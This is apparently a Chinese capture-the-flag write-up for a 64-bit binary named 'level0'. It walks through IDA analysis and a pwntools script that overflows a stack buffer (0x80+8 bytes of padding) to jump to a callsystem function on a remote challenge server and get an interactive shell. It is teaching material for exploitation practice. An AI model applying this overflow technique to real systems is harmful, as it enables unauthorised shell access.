file level0,再查一下这个文件的保护机制
64位,拖进ida
比较简单,跟进函数
想到溢出,读入200个字节,比较大的
没有什么有用的信息了,查找字符串
猜测flag可能是在文件中
进一步跟进后,反汇编是这个样子,想到通过栈溢出来覆盖,改变地址来跳转到callsystem函数处。
# -*- coding: utf-8 -*-
from pwn import *
kubopiy=remote("220.249.52.133",36491)#进行连接
payload=b'a'*(0x80+8)+p64(0x400596)#b是字节,填入这么多的a,再加一个打包好的函数地址
kubopiy.recvuntil("Hello, World")#接收到那一句话
kubopiy.sendline(payload)
kubopiy.interactive()
为什么要多加8,因为要覆盖掉原来的地址,这样再搞新的的地址就可以直接跳转了